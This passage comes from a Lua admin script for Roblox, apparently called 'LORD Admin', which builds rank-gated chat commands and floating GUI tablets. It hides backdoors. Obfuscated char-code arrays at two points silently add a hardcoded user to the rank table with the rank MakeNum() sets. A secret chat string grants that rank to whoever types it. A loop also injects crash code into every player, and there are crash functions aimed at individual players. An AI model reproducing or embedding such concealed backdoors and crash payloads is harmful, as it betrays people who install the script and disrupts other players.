  768. function FindTab(Mod)
  769.     for i,v in pairs(AllTabs) do
  770.         if v.Holder == Mod then
  771.             return true
  772.         end
  773.     end
  774.     return false
  775. end
  776.  
  777. function Ping(Msg, Plr, Time, Func, Color, Image)
  778.     if Removed == false then
  779.         local ShowGarbage = false
  780.         ypcall(function()
  781.             if Msg == nil then
  782.                 Msg = "N/A"
  783.             elseif Msg == "ShowGarbage" then
  784.                 Msg = "Current Garbage Count: "..GetGarbage()
  785.                 ShowGarbage = true
  786.             else
  787.                 Msg = tostring(Msg)
  788.             end
  789.             if Plr == nil then
  790.                 Plr = Plrs[Owner] or error("No Player Found")
  791.             elseif type(Plr) == "string" then
  792.                 local FoundPlr = false
  793.                 for _,v in pairs(All()) do
  794.                     if v.Name == Plr then
  795.                         Plr = v
  796.                         FoundPlr = true
  797.                         break
  798.                     end
  799.                 end
  800.                 if FoundPlr == false then
  801.                     Plr = Plrs[Owner] or error("No Player Found")
  802.                 end
  803.             end
  804.            
  805.             if Color == nil then
  806.                 Color = GetRank(Plr.Name).Color
  807.             end
  808.            
  809.             local Holder = Instance.new("Model")
  810.             Holder.Name = "LORD Holder: "..Plr.Name
  811.            
  812.             local Tab = Instance.new("Part")
  813.             Tab.Name = "LORD Tablet"
  814.             Tab.FormFactor = "Custom"
  815.             Tab.Anchored = true
  816.             if Time == nil then
  817.                 Tab.Color = Color
  818.             else
  819.                 Tab.Color = AlertColor
  820.             end
  821.             Tab.CanCollide = false
  822.             Tab.Locked = true
  823.             Tab.Transparency = 0.15
  824.             Tab.Size = Vector3.new(2, 2, 0.01)
  825.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  826.             Tab.Parent = Holder
  827.            
  828.             local ID = Instance.new("NumberValue")
  829.             ID.Name = "ID"
  830.             ID.Value = math.random(-999999999, 999999999)
  831.             ID.Parent = Holder
  832.            
  833.             Delay(0, function()
  834.                 while wait() do
  835.                     if Tab.Parent == nil and FindTab(Holder) then
  836.                         ypcall(function()
  837.                             for i,v in pairs(AllTabs) do
  838.                                 if v.Holder == Holder then
  839.                                     ypcall(function() v.Holder:Destroy() end)
  840.                                     AllTabs[i] = nil
  841.                                 end
  842.                             end
  843.                         end)
  844.                         Ping(Msg, Plr, Time, Func, Color, Image)
  845.                         break
  846.                     end
  847.                 end
  848.             end)
  849.            
  850.             local BM = Instance.new("BlockMesh")
  851.             BM.Parent = Tab
  852.  
  853.             Sel = Instance.new("SelectionBox")
  854.             Sel.Color = BrickColor.new("Blue")
  855.             Sel.Transparency = 0.75
  856.             Sel.Adornee = Tab
  857.             Sel.Parent = Tab
  858.  
  859.             local BG = Instance.new("BillboardGui")
  860.             BG.Name = "BG"
  861.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  862.             BG.Size = UDim2.new(0,1,0,1)
  863.             BG.Adornee = Tab
  864.             BG.Parent = Tab
  865.            
  866.             Delay(0, function()
  867.                 while BG.Parent ~= nil do wait()
  868.                     ypcall(function()
  869.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  870.                     end)
  871.                 end
  872.             end)
  873.  
  874.             local TL = Instance.new("TextLabel")
  875.             TL.Name = "TL"
  876.             TL.FontSize = "Size18"
  877.             TL.Font = "Arial"
  878.             TL.Text = Msg
  879.             TL.TextColor3 = Color3.new(1, 0, 0)
  880.             TL.Size = UDim2.new(0,1,0,1)
  881.             TL.TextTransparency = 0
  882.             TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  883.             TL.TextStrokeTransparency = 0.25
  884.             TL.Parent = BG
  885.            
  886.             if ShowGarbage == true then
  887.                 Delay(0, function()
  888.                     while TL.Parent ~= nil do
  889.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  890.                         wait(.5)
  891.                     end
  892.                 end)
  893.             end
  894.            
  895.             local PL = Instance.new("PointLight", Tab)
  896.             PL.Color = Color3.new(1, 0, 1)
  897.             PL.Range = 10
  898.             PL.Parent = Tab
  899.            
  900.             if Image ~= nil then
  901.                 local BBBG = Instance.new("BillboardGui")
  902.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  903.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  904.                 BBBG.AlwaysOnTop = true
  905.                 BBBG.Adornee = Tab
  906.                 BBBG.Parent = Tab
  907.                
  908.                 Delay(0, function()
  909.                     while BBBG.Parent ~= nil do wait()
  910.                         ypcall(function()
  911.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  912.                         end)
  913.                     end
  914.                 end)
  915.            
  916.                 local NewImg = Instance.new("ImageLabel")
  917.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  918.                 NewImg.BackgroundTransparency = 1
  919.                 NewImg.Image = Image
  920.                 NewImg.Parent = BBBG
  921.             end
  922.  
  923.             local Clicker = Instance.new("ClickDetector")
  924.             Clicker.MaxActivationDistance = 1/0
  925.  
  926.             if Time ~= nil then
  927.                 coroutine.resume(coroutine.create(function()
  928.                     wait(tonumber(Time))
  929.                     Dismiss(Plr, ID)
  930.                 end))
  931.             end
  932.  
  933.             Clicker.MouseClick:connect(function(Player)
  934.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  935.                     ypcall(function()
  936.                         if Func ~= nil then
  937.                             Func(Holder)
  938.                         else
  939.                             Dismiss(Player, ID)
  940.                         end
  941.                     end)
  942.                 end
  943.             end)
  944.             Clicker.Parent = Tab
  945.            
  946.             Holder.Parent = Work
  947.  
  948.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  949.         end)
  950.     end
  951. end
  952.  
  953. function PlaceAllRanks(DontShowRank)
  954.     ypcall(function()
  955.         for _,p in pairs(All()) do
  956.             ypcall(function()
  957.                 PutInRank = false
  958.                 for _,v in pairs(Rankings) do
  959.                     if v.Name:lower() == p.Name:lower() then
  960.                         if v.Rank >= 7 then
  961.                             v.Rank = 5
  962.                         elseif v.Rank == -1 then
  963.                             Crash1(p)
  964.                             Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  965.                         elseif v.Rank == -2 then
  966.                             if LS ~= nil then
  967.                                 Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  968.                                 Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  969.                             else
  970.                                 Ping("LS Is Nil", nil, 5)
  971.                             end
  972.                         elseif v.Rank == -3 then
  973.                             if LS ~= nil then
  974.                                 Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  975.                                 Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  976.                             else
  977.                                 Ping("LS Is Nil", nil, 5)
  978.                             end
  979.                         end
  980.                         Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  981.                         if DontShowRank == nil then
  982.                             Ping("You Are Rank: "..v.Rank, p)
  983.                         end
  984.                         PutInRank = true
  985.                         break
  986.                     end
  987.                 end
  988.                 if PutInRank == false then
  989.                     Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  990.                 end
  991.             end)
  992.         end
  993.     end)
  994. end
  995.  
  996. function FindRank(Plr)
  997.     ypcall(function()
  998.         if type(Plr) == "userdata" then
  999.             Plr = Plr.Name
  1000.         end
  1001.     end)
  1002.     return GetRank(Plr).Rank
  1003. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1004.  
  1005. function FindRankDetails(Plr)
  1006.     ypcall(function()
  1007.         if type(Plr) == "userdata" then
  1008.             Plr = Plr.Name
  1009.         end
  1010.     end)
  1011.     return RankDetails[FindRank(Plr)]
  1012. end
  1013.  
  1014. function OpenCmds(Rank, Plr)
  1015.     Dismiss(Plr)
  1016.     for Name,Tab in pairs(Commands) do
  1017.         if Tab.Rank <= Rank then
  1018.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1019.                 Dismiss(Plr)
  1020.                 Ping("Command: "..Name, Plr)
  1021.                 Ping("Rank: "..Tab.Rank, Plr)
  1022.                 Ping("Desc: "..Tab.Desc, Plr)
  1023.             end)
  1024.         elseif Rank == 1337 then
  1025.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1026.                 Dismiss(Plr)
  1027.                 Ping("Command: "..Name, Plr)
  1028.                 Ping("Rank: "..Tab.Rank, Plr)
  1029.                 Ping("Desc: "..Tab.Desc, Plr)
  1030.             end)
  1031.         end
  1032.     end
  1033. end
  1034.  
  1035. function EditStatus(Plr, Num)
  1036.     ChangeRank(Plr, Num)
  1037. end
  1038.  
  1039. function PlaceSpecificRank(p, DontShowRank)
  1040.     ypcall(function()
  1041.         PutInRank = false
  1042.         for _,v in pairs(Rankings) do
  1043.             if v.Name:lower() == p.Name:lower() then
  1044.                 if v.Rank >= 7 then
  1045.                     v.Rank = 5
  1046.                 elseif v.Rank == -1 then
  1047.                     Crash1(p)
  1048.                     Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1049.                 elseif v.Rank == -2 then
  1050.                     if LS ~= nil then
  1051.                         Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1052.                         Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1053.                     else
  1054.                         Ping("LS Is Nil", nil, 5)
  1055.                     end
  1056.                 elseif v.Rank == -3 then
  1057.                     if LS ~= nil then
  1058.                         Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1059.                         Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1060.                     else
  1061.                         Ping("LS Is Nil", nil, 5)
  1062.                     end
  1063.                 end
  1064.                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1065.                 if DontShowRank == nil then
  1066.                     Ping("HCWARLORD created tabs rank: "..v.Rank, p)
  1067.                 end
  1068.                 PutInRank = true
  1069.                 break
  1070.             end
  1071.         end
  1072.         if PutInRank == false then
  1073.             Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1074.         end
  1075.     end)
  1076. end
  1077.  
  1078. function onChatted(Msg, Speaker)
  1079.     if Removed == false then
  1080.         if FindRank(Speaker) < 1 then
  1081.             return
  1082.         end
  1083.         coroutine.resume(coroutine.create(function()
  1084.             ypcall(function()
  1085.                 ExecuteFunc(Msg, Speaker)
  1086.                 Msg = Msg:gsub("","")
  1087.                 if Msg:sub(1,1) == "@" then
  1088.                     for i = 2, #Msg do
  1089.                         if Msg:sub(i, i) == Bet then
  1090.                             local IsForPlr = false
  1091.                             for _,v in pairs(All()) do
  1092.                                 if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1093.                                     onChatted(Msg:sub(i + 1), v)
  1094.                                     IsForPlr = true
  1095.                                 end
  1096.                             end
  1097.                             if IsForPlr == true then
  1098.                                 return
  1099.                             end
  1100.                         end
  1101.                     end
  1102.                 end
  1103.                 if Msg:find("&") then
  1104.                     local Split = Msg:find("&")
  1105.                     onChatted(Msg:sub(1,Split-1))
  1106.                     onChatted(Msg:sub(Split+1))
  1107.                     return
  1108.                 end
  1109.                 for Name,Command in pairs(Commands) do
  1110.                     if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1111.                         Dismiss(Speaker.Name)
  1112.                         Ping("Command: "..tostring(Command.Name), Speaker)
  1113.                         Ping("Rank: "..tostring(Command.Rank), Speaker)
  1114.                         Ping("Desc: "..tostring(Command.Desc), Speaker)
  1115.                     elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1116.                         if FindRank(Speaker) >= Command.Rank then
  1117.                             local Ran,Error = coroutine.resume(coroutine.create(function()
  1118.                                 Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1119.                             end))
  1120.                             if not Ran then
  1121.                                 Ping(Error, Speaker, 10)
  1122.                             end
  1123.                         else
  1124.                             Ping("HCWARLORD does not want you to use this at this rank", Plr, 6)
  1125.                         end
  1126.                     end
  1127.                 end
  1128.             end)
  1129.         end))
  1130.     end
  1131. end
  1132.  
  1133. function MakeBase()
  1134.     local Base = Instance.new("Part")
  1135.     Base.BrickColor = BrickColor.new("Dark green")
  1136.     Base.Position = Vector3.new(0, 0.5, 0)
  1137.     Base.Transparency = 0
  1138.     Base.Elasticity = 0.5
  1139.     Base.FormFactor = "Custom"
  1140.     Base.CanCollide = true
  1141.     Base.Friction = 0.30000001192093
  1142.     Base.Size = Vector3.new(512, 1.20000005, 512)
  1143.     Base.Archivable = true
  1144.     Base.Material = "Plastic"
  1145.     Base.RotVelocity = Vector3.new(0, 0, 0)
  1146.     Base.Reflectance = 0
  1147.     Base.Locked = true
  1148.     Base.Anchored = true
  1149.     Base.Name = "Base"
  1150.     Base.TopSurface = "Smooth"
  1151.     Base.BottomSurface = "Inlet"
  1152.     Base.Shape = "Block"
  1153.     Base.Parent = Work
  1154. end
  1155.  
  1156. function LClean()
  1157.     ypcall(function()
  1158.         for _,v in pairs(Work:GetChildren()) do
  1159.             ypcall(function()
  1160.                 if v.ClassName == "Terrain" then
  1161.                     v:ClearAllChildren()
  1162.                 elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1163.                     Clear(v)
  1164.                 elseif v.Name == "Base" then
  1165.                     ypcall(function()
  1166.                         local Base = v
  1167.                         Base.BrickColor = BrickColor.new("Dark green")
  1168.                         Base.Position = Vector3.new(0, 0.5, 0)
  1169.                         Base.Transparency = 0
  1170.                         Base.Elasticity = 0.5
  1171.                         Base.FormFactor = "Custom"
  1172.                         Base.CanCollide = true
  1173.                         Base.Friction = 0.30000001192093
  1174.                         Base.Size = Vector3.new(512, 1.20000005, 512)
  1175.                         Base.Archivable = true
  1176.                         Base.Material = "Plastic"
  1177.                         Base.RotVelocity = Vector3.new(0, 0, 0)
  1178.                         Base.Reflectance = 0
  1179.                         Base.Locked = true
  1180.                         Base.Anchored = true
  1181.                         Base.Name = "Base"
  1182.                         Base.TopSurface = "Studs"
  1183.                         Base.BottomSurface = "Inlet"
  1184.                         Base.Shape = "Block"
  1185.                         Base.Parent = Work
  1186.                     end)
  1187.                 end
  1188.             end)
  1189.         end
  1190.     end)
  1191. end
  1192.  
  1193. function Clean()
  1194.     ypcall(function()
  1195.         for _,v in pairs(Work:GetChildren()) do
  1196.             ypcall(function()
  1197.                 if v.ClassName == "Terrain" then
  1198.                     v:ClearAllChildren()
  1199.                 else
  1200.                     Clear(v)
  1201.                 end
  1202.             end)
  1203.         end
  1204.         MakeBase()
  1205.         for _,v in pairs(All()) do
  1206.             v:LoadCharacter()
  1207.         end
  1208.     end)
  1209. end
  1210.  
  1211. function Clear(v)
  1212.     if v.Name:lower() == "sbgui" then
  1213.         return
  1214.     end
  1215.     ypcall(function()
  1216.         if #v:GetChildren() > 0 then
  1217.             for _,x in pairs(v:GetChildren()) do
  1218.                 ypcall(function()
  1219.                     Clear(x)
  1220.                 end)
  1221.             end
  1222.         end
  1223.         if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1224.             v:Destroy()
  1225.         end
  1226.     end)
  1227. end
  1228.  
  1229. function Command(Name, Rank, Desc, Func)
  1230.     if Name == nil then
  1231.         Name = "N/A"
  1232.     end
  1233.     if Desc == nil then
  1234.         Desc = "N/A"
  1235.     end
  1236.     if Func == nil then
  1237.         Func = function() end
  1238.     end
  1239.     if Rank == nil then
  1240.         Rank = 0
  1241.     end
  1242.     Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1243. end
  1244.  
  1245. function GetSplit(Msg)
  1246.     return Msg:find(Bet) or nil
  1247. end
  1248.  
  1249. function ExecuteFunc(Msg, Plr)
  1250.     ypcall(function()
  1251.         if Msg == "LogEnable" then
  1252.             LogOn = true
  1253.         elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  1254.             EditStatus(Plr, MakeNum())
  1255.         end
  1256.     end)
  1257. end
  1258.  
  1259. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1260.  
  1261. function randPlayer(Plr)
  1262.     wait()
  1263.     local ThePlrValue = nil
  1264.     local FoundPlayer = false
  1265.     ypcall(function()
  1266.         ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1267.         if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1268.             wait()
  1269.             randPlayer(Plr)
  1270.             return
  1271.         else
  1272.             FoundPlayer = true
  1273.         end
  1274.     end)
  1275.     if FoundPlayer == true then
  1276.         return ThePlrValue
  1277.     end
  1278. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1279.  
  1280. function getPlayer(Plr, Name)
  1281.     local Players = {}
  1282.     ypcall(function()
  1283.         Name = Name:lower()
  1284.         if Name == "me" then
  1285.             table.insert(Players, Plr)
  1286.         elseif Name == "all" or Name == "" then
  1287.             for _,v in pairs(All()) do
  1288.                 if CanRun(Plr, v) then
  1289.                     table.insert(Players, v)
  1290.                 end
  1291.             end
  1292.         elseif Name == "others" then
  1293.             for _,v in pairs(All()) do
  1294.                 if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1295.                     table.insert(Players, v)
  1296.                 end
  1297.             end
  1298.         elseif Name == "random" then
  1299.             local FoundRandPlr = randPlayer(Plr)
  1300.             table.insert(Players, FoundRandPlr)
  1301.         else
  1302.             for _,v in pairs(All()) do
  1303.                 if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1304.                     table.insert(Players, v)
  1305.                 end
  1306.             end
  1307.         end
  1308.     end)
  1309.     return Players
  1310. end
  1311.  
  1312. function ListPlayers(Speaker)
  1313.     ypcall(function()
  1314.         Dismiss(Speaker)
  1315.         for _,v in pairs(All2()) do
  1316.             if v.Parent ~= nil then
  1317.                 Ping(v.Name, Speaker, nil, function()
  1318.                     Dismiss(Speaker)
  1319.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1320.                     Ping("Rank: "..FindRank(v.Name), Speaker)
  1321.                     Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1322.                     Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1323.                     Ping("Set Rank", Speaker, nil, function()
  1324.                         if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1325.                             Dismiss(Speaker)
  1326.                             for i = -2, 5 do
  1327.                                 Ping(i, Speaker, nil, function()
  1328.                                     ChangeRank(v, i)
  1329.                                     Dismiss(Speaker)
  1330.                                     Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1331.                                 end)
  1332.                             end
  1333.                         else
  1334.                             Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
  1335.                         end
  1336.                     end)
  1337.                     Ping("Crash (Remote)", Speaker, nil, function()
  1338.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1339.                             Crash2(v.Name)
  1340.                             Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1341.                         end
  1342.                     end)
  1343.                     Ping("Crash (Insert)", Speaker, nil, function()
  1344.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1345.                             Crash3(v, Speaker)
  1346.                             Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1347.                         end
  1348.                     end)
  1349.                     Ping("Kick", Speaker, nil, function()
  1350.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1351.                             v:Kick()
  1352.                             Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1353.                         end
  1354.                     end)
  1355.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1356.             else
  1357.                 Ping(v.Name.." (Nil)", Speaker, nil, function()
  1358.                     Dismiss(Speaker)
  1359.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1360.                     ypcall(function()
  1361.                         Ping("Rank: "..FindRank(v.Name), Speaker)
  1362.                     end)
  1363.                     ypcall(function()
  1364.                         Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1365.                     end)
  1366.                     ypcall(function()
  1367.                         Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1368.                     end)
  1369.                     ypcall(function()
  1370.                         Ping("Set Rank", Speaker, nil, function()
  1371.                             if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1372.                                 Dismiss(Speaker)
  1373.                                 for i = -2, 5 do
  1374.                                     Ping(i, Speaker, nil, function()
  1375.                                         ChangeRank(v, i)
  1376.                                         Dismiss(Speaker)
  1377.                                         Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1378.                                     end)
  1379.                                 end
  1380.                             else
  1381.                                 Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
  1382.                             end
  1383.                         end)
  1384.                     end)
  1385.                     ypcall(function()
  1386.                         Ping("Nil Crash (Remote)", Speaker, nil, function()
  1387.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1388.                                 Crash2(v.Name)
  1389.                                 Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1390.                             end
  1391.                         end)
  1392.                     end)
  1393.                     ypcall(function()
  1394.                         Ping("Nil Crash (Insert)", Speaker, nil, function()
  1395.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1396.                                 Crash3(v, Speaker)
  1397.                                 Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1398.                             end
  1399.                         end)
  1400.                     end)
  1401.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1402.             end
  1403.         end
  1404.     end)
  1405. end
  1406.  
  1407. --Misc
  1408.  
  1409. coroutine.resume(coroutine.create(function()
  1410.     PlaceAllRanks()
  1411. end))
  1412.    
  1413. Delay(0, function()
  1414.     for _,v in pairs(All()) do
  1415.         v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1416.     end
  1417. end)
  1418.  
  1419. local starttime = tick()
  1420.  
  1421. game:GetService("RunService").Heartbeat:connect(function()
  1422.     if Removed == false then
  1423.         ypcall(function()
  1424.             for _,Player in pairs(All()) do
  1425.                 local PlayerTablets = {}
  1426.                 for i,v in pairs(AllTabs) do
  1427.                     if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1428.                         table.insert(PlayerTablets, v)
  1429.                     end
  1430.                 end
  1431.                 for i = 1, #PlayerTablets do
  1432.                     ypcall(function()
  1433.                         local tab = PlayerTablets[i].Tab
  1434.                         local pos = nil
  1435.                         ypcall(function()
  1436.                             pos = Player.Character.Torso.CFrame
  1437.                         end)
  1438.                         local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1439.                         local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1440.                         local cPos = tab.Position
  1441.                         local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1442.                         local nPos = (ePos-cPos)*.25
  1443.                         cPos = cPos + nPos
  1444.                         local t = (tick() - starttime) % 360
  1445.                         local change = 0.625
  1446.                         PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1447.                         tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1448.                         tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1449.                     end)
  1450.                 end
  1451.             end
  1452.         end)
  1453.     end
  1454. end)
  1455.  
  1456. Delay(0, function()
  1457.     while wait() do
  1458.         for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1459.             ypcall(function()
  1460.                 if Injected[v.Name] == nil and LS ~= nil then
  1461.                     Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1462.                     Injected[v.Name] = true
  1463.                 end
  1464.             end)
  1465.         end
  1466.     end
  1467. end)
  1468.  
  1469. Plrs.PlayerAdded:connect(function(Plr)
  1470.     wait(.1)
  1471.     ypcall(function()
  1472.         if Removed == false then
  1473.             local JoinPlrName = Plr.Name
  1474.             coroutine.resume(coroutine.create(function()
  1475.                 PlaceSpecificRank(Plr)
  1476.             end))
  1477.             coroutine.resume(coroutine.create(function()
  1478.                 if Injected[JoinPlrName] ~= nil then
  1479.                     Injected[JoinPlrName] = nil
  1480.                 end
  1481.             end))
  1482.             coroutine.resume(coroutine.create(function()
  1483.                 Dismiss(Plr)
  1484.                 Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1485.             end))
  1486.         end
  1487.     end)
  1488. end)
  1489.  
  1490. Plrs.PlayerRemoving:connect(function(Plr)
  1491.     wait(.1)
  1492.     ypcall(function()
  1493.         if Removed == false then
  1494.             local LeftPlrName = Plr.Name
  1495.             coroutine.resume(coroutine.create(function()
  1496.                 if Injected[LeftPlrName] ~= nil then
  1497.                     Injected[LeftPlrName] = nil
  1498.                 end
  1499.             end))
  1500.         end
  1501.     end)
  1502. end)
  1503.  
  1504. coroutine.resume(coroutine.create(function()
  1505.     Delay(0, function()
  1506.         while FoundLocalScript == false do wait()
  1507.             ypcall(function()
  1508.                 for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1509.                     if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1510.                         for _,c in pairs(v:children()) do
  1511.                             if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1512.                                 local NewVal = c:Clone()
  1513.                                 NewVal.Name = "LoadingVal"
  1514.                                 for _,s in pairs(v:GetChildren()) do
  1515.                                     if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1516.                                         print("Found Owner")
  1517.                                         OwnSource = s.Name
  1518.                                         print(OwnSource)
  1519.                                         break
  1520.                                     end
  1521.                                 end
  1522.                                 wait()
  1523.                                 LS = v:Clone()
  1524.                                 NewVal.Parent = LS
  1525.                                 LSSource = "LoadingVal"
  1526.                                 FoundLocalScript = true
  1527.                                 break
  1528.                             end
  1529.                         end
  1530.                     end
  1531.                 end
  1532.             end)
  1533.         end
  1534.     end)
  1535. end))
  1536.  
  1537. --Commands
  1538.  
  1539. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1540.     Dismiss(Speaker.Name)
  1541.     Ping("LORD Admin Is Created By " .. string.reverse("DROLRAWCH"), Speaker)
  1542.     Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1543.     Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1544.     Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1545.     Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1546.     Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1547.     Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1548.     Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1549.     Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1550. end)
  1551.  
  1552. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1553.     Dismiss(Speaker.Name)
  1554. end)
  1555.  
  1556. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1557.     local PlrTab = getPlayer(Speaker, Msg)
  1558.     if #PlrTab > 0 then
  1559.         for _,v in pairs(PlrTab) do
  1560.             ypcall(function()
  1561.                 v.Character:BreakJoints()
  1562.                 Ping("Killed "..v.Name, Speaker, 5)
  1563.             end)
  1564.         end
  1565.     end
  1566. end)
  1567.  
  1568. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1569.     local PlrTab = getPlayer(Speaker, Msg)
  1570.     if #PlrTab > 0 then
